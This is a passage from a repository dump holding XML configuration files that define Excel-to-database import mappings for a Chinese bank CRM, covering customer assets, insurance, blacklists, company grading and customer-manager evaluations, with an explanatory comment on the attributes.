length=\"20\"  precial=\"\"  isNull=\"true\"></column> -->\n<!--         <column name=\"联系地址\"  columnIndex=\"7\"  fieldCode=\"COMMU_ADDR\"  isPK=\"false\"   type=\"VARCHAR2\"   length=\"200\"   precial=\"\"   isNull=\"true\"></column> -->\n<!--         <column name=\"电话区域\"  columnIndex=\"8\"  fieldCode=\"PHONE_AREA\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"10\"  precial=\"\"  isNull=\"true\"></column> -->\n<!--         <column name=\"邮编号码\"  columnIndex=\"10\"  fieldCode=\"PORT_NO\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column> -->\n \t\t<column name=\"其他名称\"  columnIndex=\"11\"  fieldCode=\"SHORT_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n  \t\t<column name=\"英文名称\"  columnIndex=\"12\"  fieldCode=\"EN_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n  \t\t<column name=\"客户来源渠道\"  columnIndex=\"13\"  fieldCode=\"SOURCE_CHANNEL\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"10\"  precial=\"\"  isNull=\"true\"></column>\n   </trade>\n   \n    <!--贵金属AUM导入-->\n\t<trade tradeCode=\"nobelMetalImportInfo\" tableName=\"A_AC_CUST_ASSET_AUM_INPUT_TMP\" valiClass=\"com.yuchengtech.bob.action.NobelMetalImport\" sheetStartIndex=\"0\" creatorColumn=\"INPUT_USER\" creatOrgColumn=\"\" creatDateColumn=\"INPUT_DATE\">\n        <column name=\"客户号\"  columnIndex=\"0\"  fieldCode=\"CUST_ID\"  isPK=\"false\"  type=\"VARCHAR\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"AUM\"  columnIndex=\"1\"  fieldCode=\"AUM\"  isPK=\"false\"  type=\"NUMBER\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"数据日期\"  columnIndex=\"2\"  fieldCode=\"DATA_DATE\"  isPK=\"false\"  type=\"DATE\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n   </trade>\n   \n   <!--保险中间业务导入-->\n\t<trade tradeCode=\"insuranceImportInfo\" tableName=\"A_AC_CUST_BAOX_INPUT_TMP\" valiClass=\"com.yuchengtech.bob.action.InsuranceImport\" sheetStartIndex=\"0\" creatorColumn=\"INPUT_USER\" creatOrgColumn=\"\" creatDateColumn=\"INPUT_DATE\">\n        <column name=\"客户号\"  columnIndex=\"0\"  fieldCode=\"CUST_ID\"  isPK=\"false\"  type=\"VARCHAR\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"趸缴或期缴金额\"  columnIndex=\"1\"  fieldCode=\"BAOX_AMT\"  isPK=\"false\"  type=\"NUMBER\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"数据日期\"  columnIndex=\"2\"  fieldCode=\"DATA_DATE\"  isPK=\"false\"  type=\"DATE\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n   </trade>\n   \n   \n   <!--小微评级客户月均销售额导入-->\n\t<trade tradeCode=\"salesVolumeOfSmallImportInfo\" tableName=\"A_AC_CUST_MCR_SAL_INPUT_TMP\" valiClass=\"com.yuchengtech.bob.action.SalesVolumeOfSmallImportImport\" sheetStartIndex=\"0\" creatorColumn=\"INPUT_USER\" creatOrgColumn=\"\" creatDateColumn=\"INPUT_DATE\">\n        <column name=\"客户号\"  columnIndex=\"0\"  fieldCode=\"CUST_ID\"  isPK=\"false\"  type=\"VARCHAR\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"销售额\"  columnIndex=\"1\"  fieldCode=\"TRAD_AMT\"  isPK=\"false\"  type=\"NUMBER\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"数据日期\"  columnIndex=\"2\"  fieldCode=\"DATA_DATE\"  isPK=\"false\"  type=\"DATE\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n   </trade>\n   \n   <!--客户群管理黑名单客户导入-->\n\t<trade tradeCode=\"importBlacklistCustInfo\" tableName=\"ACRM_F_CI_CUSTOMER_TEMP\" valiClass=\"com.yuchengtech.bob.action.BlacklistCustImport\" sheetStartIndex=\"1\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n   \t    <column name=\"客户号\" columnIndex=\"0\" fieldCode=\"CUST_ID\" isPK=\"true\" type=\"VARCHAR2\" length=\"27\" precial=\"\" isNull=\"false\"></column>\n        <column name=\"客户名称\"  columnIndex=\"1\"  fieldCode=\"CUST_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"证件类型\"  columnIndex=\"2\"  fieldCode=\"IDENT_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"证件号码\"  columnIndex=\"3\"  fieldCode=\"IDENT_NO\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"客户类别\"  columnIndex=\"4\"  fieldCode=\"CUST_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"10\"  precial=\"\"  isNull=\"true\"></column>\n   </trade>\n   \n   \n   <!--个金目标值导入-->\n     <trade tradeCode=\"importReportCfgNewInfo\" tableName=\"ACRM_M_TARGET_VAL_TEMP\" valiClass=\"com.yuchengtech.bob.action.ReportCfgNewImport\" sheetStartIndex=\"1\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n        <column name=\"编号\" columnIndex=\"0\" fieldCode=\"ORDER_ID\" isPK=\"true\" type=\"VARCHAR2\" length=\"20\" precial=\"\" isNull=\"false\"></column>\n        <column name=\"报表编号\" columnIndex=\"1\" fieldCode=\"REPORT_ID\" isPK=\"false\" type=\"VARCHAR2\" length=\"20\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"报表名称\"  columnIndex=\"2\"  fieldCode=\"REPORT_NA\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"上级机构ID\"  columnIndex=\"3\"  fieldCode=\"ORG_ID\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"上级机构名称\"  columnIndex=\"4\"  fieldCode=\"ORG_NA\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"机构ID\"  columnIndex=\"5\"  fieldCode=\"BRANCH_ID\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"机构名称\"  columnIndex=\"6\"  fieldCode=\"BRANCH_NA\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"指标名称\"  columnIndex=\"7\"  fieldCode=\"STAT_NA\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"指标ID\"  columnIndex=\"8\"  fieldCode=\"STAT_ID\"  isPK=\"false\"   type=\"VARCHAR2\"   length=\"20\"   precial=\"\"   isNull=\"true\"></column>\n        <column name=\"项目\"  columnIndex=\"9\"  fieldCode=\"PROJECT\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"目标值\" columnIndex=\"10\" fieldCode=\"INDEX_VAL\" isPK=\"false\" type=\"NUMBER\" length=\"20\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"最后更新日期\"  columnIndex=\"11\"  fieldCode=\"UPDATETIME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n     </trade>\n     \n     <!-- 客户分配导入信息 -->\n     <trade tradeCode=\"importCustBelong\" tableName=\"ACRM_F_CI_BELONG_IMP\" valiClass=\"com.yuchengtech.bcrm.customer.belong.action.CustBelongImport\" sheetStartIndex=\"1\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n        <column name=\"编号\" columnIndex=\"0\" fieldCode=\"ID\" isPK=\"true\" type=\"VARCHAR2\" length=\"20\" precial=\"\" isNull=\"false\"></column>\n        <column name=\"客户号\" columnIndex=\"1\" fieldCode=\"CUST_ID\" isPK=\"false\" type=\"VARCHAR2\" length=\"20\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"客户名称\"  columnIndex=\"2\"  fieldCode=\"CUST_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"80\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"机构主协办类型\"  columnIndex=\"3\"  fieldCode=\"ORG_MAIN_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"机构ID\"  columnIndex=\"4\"  fieldCode=\"ORG_CODE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"机构名称\"  columnIndex=\"5\"  fieldCode=\"ORG_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"80\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"客户经理主协办类型\"  columnIndex=\"6\"  fieldCode=\"MGR_MAIN_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"客户经理ID\"  columnIndex=\"7\"  fieldCode=\"MGR_ID\"  isPK=\"false\"   type=\"VARCHAR2\"   length=\"20\"   precial=\"\"   isNull=\"true\"></column>\n        <column name=\"客户经理名称\"  columnIndex=\"8\"  fieldCode=\"MGR_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"80\"  precial=\"\"  isNull=\"true\"></column>\n     </trade>\n     <!-- 公司评级 importCompanyGrade -->\n     <trade tradeCode=\"importCompanyGrade\" tableName=\"ACRM_F_CI_OGRADE_RESULT_TEMP\" valiClass=\"com.yuchengtech.bcrm.custmanager.action.CustGradeCompanyImport\" sheetStartIndex=\"1\" creatorColumn=\"IMPORT_USER\" creatOrgColumn=\"\" creatDateColumn=\"IMPORT_DATE\">\n   \t  \t<column  name=\"客户号\"    columnIndex=\"0\"  fieldCode=\"CUST_ID\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"客户名称\"   columnIndex=\"1\"  fieldCode=\"CUST_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n\t   \t<column  name=\"客户等级ID\"    columnIndex=\"2\"  fieldCode=\"CUST_GRADE_ID\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"客户等级类型\"    columnIndex=\"3\"  fieldCode=\"CUST_GRADE_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n       \t<column  name=\"本期客户等级\"    columnIndex=\"4\"  fieldCode=\"CUST_GRADE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"是否本月新增\"    columnIndex=\"5\"  fieldCode=\"IS_MONTH_ADD\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"2\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"净利润\"    columnIndex=\"6\"  fieldCode=\"RETAIN_PROFIT\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column  name=\"营业净收入\"    columnIndex=\"7\"  fieldCode=\"IN_BUSI_RETAIN_PROFIT\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column  name=\"营业外净收入\"    columnIndex=\"8\"  fieldCode=\"OUT_BUSI_RETAIN_PROFIT\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column  name=\"所得税\"    columnIndex=\"9\"  fieldCode=\"INCOME_TAX\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\" precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"贷款减值准备\"    columnIndex=\"10\"  fieldCode=\"LOAN_IMPAIRMENT\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"60\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"EVA\"    columnIndex=\"11\"  fieldCode=\"EVA\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"经济资本占用\"    columnIndex=\"12\"  fieldCode=\"FINA_ASSET_EMPLOY\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"业务规模\"    columnIndex=\"13\"  fieldCode=\"BUSI_SCALE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"存款年日均\"    columnIndex=\"14\"  fieldCode=\"DEP_YDAY_AVG\"  isPK=\"false\" type=\"NUMBER\" length=\"20\" precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"贷款年日均\"    columnIndex=\"15\"  fieldCode=\"LOAN_YDAY_AVG\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"贷款年收息\"    columnIndex=\"16\"  fieldCode=\"LOAN_YDAY_INTEREST\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"存贷比\"    columnIndex=\"17\"  fieldCode=\"DEP_LOAN_PROP\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column  name=\"存款加权季末余额\"    columnIndex=\"18\"  fieldCode=\"DEP_WEIGHT_ENDS_BAL\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\" precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"外汇收支\"    columnIndex=\"19\"  fieldCode=\"FOREIGN_EXCHANGE\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"评级RAROC\"    columnIndex=\"20\"  fieldCode=\"EVALUATE_RAROC\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"RAROC(贴现)\"    columnIndex=\"21\"  fieldCode=\"RAROC_DISCOUNT\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"RAROC(贸易融资)\"    columnIndex=\"22\"  fieldCode=\"RAROC_TRADE_FINA\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"净利润等级结果\"    columnIndex=\"23\"  fieldCode=\"RETAIN_PROFIT_GRADE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"2\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"评级RAROC等级结果\"    columnIndex=\"24\"  fieldCode=\"EVALUATE_RAROC_GRADE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"2\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"业务规模等级结果\"    columnIndex=\"25\"  fieldCode=\"BUSI_SCALE_GRADE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"2\"  precial=\"\"  isNull=\"true\"></column>\n   </trade>\n   \n   \n   <!--客户经理培训信息批量导入-->\n   <trade tradeCode=\"mgrCourseBatchImport\" tableName=\"OCRM_F_CM_CUST_MGR_COURSE_TEMP\" valiClass=\"com.yuchengtech.bob.action.CustManagerCourseImport\" sheetStartIndex=\"0\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n      <column name=\"ID\" columnIndex=\"0\" fieldCode=\"ID\" isPK=\"true\" type=\"VARCHAR2\" length=\"32\" precial=\"\" isNull=\"false\"></column>\n      <column name=\"客户经理工号\"  columnIndex=\"1\"  fieldCode=\"MGR_NO\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n   \t  <column name=\"客户经理名称\"  columnIndex=\"2\"  fieldCode=\"MGR_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n   \t  <column name=\"课程名称\"  columnIndex=\"3\"  fieldCode=\"COURSE_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n   \t  <column name=\"培训日期\"  columnIndex=\"4\"  fieldCode=\"COURSE_DATE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n   \t  <column name=\"课堂表现\"  columnIndex=\"5\"  fieldCode=\"PERFORMANCE_SCORE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"10\"  precial=\"\"  isNull=\"true\"></column>\n   \t  <column name=\"考核成绩\"  columnIndex=\"6\"  fieldCode=\"EXAMINE_SCORE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"10\"  precial=\"\"  isNull=\"true\"></column>\n   \t  <column name=\"加分项\"  columnIndex=\"7\"  fieldCode=\"BONUS_SCORE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"10\"  precial=\"\"  isNull=\"true\"></column>\n   \t  <column name=\"培训心得\"  columnIndex=\"8\"  fieldCode=\"THOUGHT_SCORE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"10\"  precial=\"\"  isNull=\"true\"></column>\n   </trade>\n   \t\n   <!--客户经理等级批量导入-->\n   <trade tradeCode=\"mgrClassBatchImport\" tableName=\"OCRM_F_CM_CUST_MGR_CLASS_TEMP\" valiClass=\"com.yuchengtech.crm.customer.action.CustManagerClassImport\" sheetStartIndex=\"0\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n   \t  <column name=\"ID\" columnIndex=\"0\" fieldCode=\"ID\" isPK=\"true\" type=\"VARCHAR2\" length=\"32\" precial=\"\" isNull=\"false\"></column>\n   \t \t <column name=\"客户经理工号\"  columnIndex=\"1\"  fieldCode=\"MGR_NO\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n   <!-- \t  <column name=\"客户经理名称\"  columnIndex=\"1\"  fieldCode=\"MGR_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>-->\n   \t  <column name=\"等级\"  columnIndex=\"2\"  fieldCode=\"MGR_CLASS\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n   \t<!--   <column name=\"有效期\"  columnIndex=\"4\"  fieldCode=\"EFFECT_DATE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>  --> \n   </trade>\n   \n      <!--客户经理评级信息导入-->\n   <trade tradeCode=\"mgrGradeInfoImport\" tableName=\"ACRM_MGR_CPN_DATA_IMP_TEMP\" valiClass=\"com.yuchengtech.bob.action.MgrGradeInfoImport\" sheetStartIndex=\"0\" creatorColumn=\"IMPORT_USER\" creatOrgColumn=\"\" creatDateColumn=\"IMPORT_DATE\">\n   \t  <column name=\"客户经理工号\"  columnIndex=\"0\"  fieldCode=\"MGR_ID\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n   \t  <column name=\"客户经理名称\"  columnIndex=\"1\"  fieldCode=\"MGR_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"年度考核结果\"    columnIndex=\"2\"  fieldCode=\"DNKHJG\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"品德合规状况\"    columnIndex=\"3\"  fieldCode=\"DDHGZK\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"公关营销能力\"    columnIndex=\"4\"  fieldCode=\"GGYXNL\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"其它调整项1\"    columnIndex=\"5\"  fieldCode=\"QTTZX1\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"营销竞赛排名\"    columnIndex=\"6\"  fieldCode=\"YXJSNL\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"新产品创新及推广\"    columnIndex=\"7\"  fieldCode=\"XCPTG\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"信贷工作能力\"    columnIndex=\"8\"  fieldCode=\"XDGZNL\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"其他调整项2\"    columnIndex=\"9\"  fieldCode=\"QTTZX2\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"培训表现加分\"    columnIndex=\"10\"  fieldCode=\"PXBX_ADD\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"规范化服务\"    columnIndex=\"11\"  fieldCode=\"GFHFW_ADD\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"交叉持证资格\"    columnIndex=\"12\"  fieldCode=\"JCCZZG\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"其他项目加分\"    columnIndex=\"13\"  fieldCode=\"QTXM\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n       <column  name=\"贷后管理工作\"    columnIndex=\"14\"  fieldCode=\"DHGLGZ\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"培训表现扣分\"    columnIndex=\"15\"  fieldCode=\"PXBX_CUT\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"规范化服务扣分\"    columnIndex=\"16\"  fieldCode=\"GFHFW_CUT\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"信贷从业资格/银行从业资格扣分\"    columnIndex=\"17\"  fieldCode=\"XDCYZG\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n   </trade>\n\n\t\n     \n</root>"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/java/com/jun/plugin/xml/ImportTradeDefine.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>  \n<root>\n    <!-- \n        tradeCode:交易码， 用以确定每一个业务逻辑模块唯一的导入交易。\n        tableName：表名，后台物理表中用以存储导入数据的临时表名。\n        valiClass：数据从临时表到实际业务表的逻辑实现类名，该类实现com.yuchengtech.bob.importimpl.ImportInterface接口。如不填写，则默认为com.yuchengtech.bob.importimpl.DefaultImpl类.\n        sheetStartIndex:导入EXCEL文件中，导入数据的起始页签,默认为0。\n        creatorColumn=临时表中“创建人”的列名，该列不在column中配置。\n        creatOrgColumn=临时表中“创建机构”的列名，该列不在column中配置。\n        creatDateColumn=临时表中“创建日期”的列名，该列不在column中配置。\n                                    列定义：\n                name：中文名称；\n                columnIndex:该列对应数据在导入的EXCEL sheet中所出列数（从0开始计数）。\n                fieldCode：该列数据对应的临时表中的列名。\n                isPk:是否主键，主键生成策略：IMP_+导入批次号_+sheet页号_+数据行号.主键请在物理表中定义为varchar2类型,且长度在30以上。\n                type:数据类型。目前主要使用3中数据类型校验，“NUMBER”,\"VARCHAR2\",\"DATE\"类型，默认按VARCHAR2类型处理。\n                length:数据长度,默认为0。\n                precial:数据精度，默认为0。\n                isNull：可否为空，默认为false。\n                                    数据处理策略：\n                                           数字类型：超出长度精度部分，整数部分截取右边，小数部分截取左边。isNull=\"false\"，且数据为空时，取0,长度为0，则不处理.\n                                           字符串类型：查出长度部分，截取右边，长度为0，则不处理。\n                                          日期数据：对于不合法数据，置空，如不可为空，则置为当前时间，长度为0，则不处理。\n     -->\n    <trade tradeCode=\"ImportTest\" tableName=\"A_IMPORT_TEST\" valiClass=\"\" sheetStartIndex=\"1\" creatorColumn=\"CREATOR\" creatOrgColumn=\"CREATORORG\" creatDateColumn=\"CREATORDATE\">\n        <column name=\"主键\" columnIndex=\"2\" fieldCode=\"IDPK\" isPK=\"true\" type=\"VARCHAR2\" length=\"\" precial=\"\" isNull=\"false\"></column>\n        <column name=\"var数据\" columnIndex=\"3\" fieldCode=\"DATAVAR\" isPK=\"false\" type=\"VARCHAR2\" length=\"10\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"num数据\" columnIndex=\"4\" fieldCode=\"DATANUM\" isPK=\"false\" type=\"NUMBER\" length=\"\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"日期数据\" columnIndex=\"5\" fieldCode=\"DATADATE\" isPK=\"false\" type=\"DATE\" length=\"\" precial=\"\" isNull=\"true\"></column>\n   \t</trade>\n   \t<trade tradeCode=\"MktIndexImportTemp\" tableName=\"OCRM_F_CI_P_PROBUY_INFO\" valiClass=\"\" sheetStartIndex=\"0\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n   \t    <column name=\"ID\" columnIndex=\"0\" fieldCode=\"ID\" isPK=\"true\" type=\"VARCHAR2\" length=\"32\" precial=\"\" isNull=\"false\"></column>\n   \t    <column name=\"客户号\" columnIndex=\"1\" fieldCode=\"CUST_ID\" isPK=\"false\" type=\"VARCHAR2\" length=\"32\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"客户名称\" columnIndex=\"2\" fieldCode=\"CUST_NAME\" isPK=\"false\" type=\"VARCHAR2\" length=\"32\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"证件类型\" columnIndex=\"3\" fieldCode=\"CERT_TYPE\" isPK=\"false\" type=\"VARCHAR2\" length=\"100\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"证件号码\" columnIndex=\"4\" fieldCode=\"CERT_NUM\" isPK=\"false\" type=\"VARCHAR2\" length=\"100\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"购买产品编号\" columnIndex=\"5\" fieldCode=\"PRODUCT_NO\" isPK=\"false\" type=\"VARCHAR2\" length=\"100\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"购买产品名称\" columnIndex=\"6\" fieldCode=\"PRODUCT_NAME\" isPK=\"false\" type=\"VARCHAR2\" length=\"100\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"购买金额\" columnIndex=\"7\" fieldCode=\"BUY_AMT\" isPK=\"false\" type=\"NUMBER\" length=\"100\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"添加日期\" columnIndex=\"8\" fieldCode=\"OPP_DATE\" isPK=\"false\" type=\"DATE\" length=\"\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"添加理由\" columnIndex=\"9\" fieldCode=\"OPP_REASON\" isPK=\"false\" type=\"VARCHAR2\" length=\"100\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"操作类型\"  columnIndex=\"10\" fieldCode=\"OPP_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"操作人\"  columnIndex=\"11\"  fieldCode=\"OPP_USER\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n   \t</trade>\n   \t<trade tradeCode=\"MktIndexImportTemp1\" tableName=\"OCRM_F_CI_P_PROBUY_INFO_TEMP\" valiClass=\"com.yuchengtech.bob.action.ProbuyImport\" sheetStartIndex=\"0\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n   \t    <column name=\"ID\" columnIndex=\"0\" fieldCode=\"ID\" isPK=\"true\" type=\"VARCHAR2\" length=\"32\" precial=\"\" isNull=\"false\"></column>\n   \t    <column name=\"客户号\"  columnIndex=\"1\"  fieldCode=\"CUST_ID\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"32\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"客户名称\"  columnIndex=\"2\"  fieldCode=\"CUST_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"32\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"证件类型\"  columnIndex=\"3\"  fieldCode=\"CERT_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"证件号码\"  columnIndex=\"4\"  fieldCode=\"CERT_NUM\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n        <column 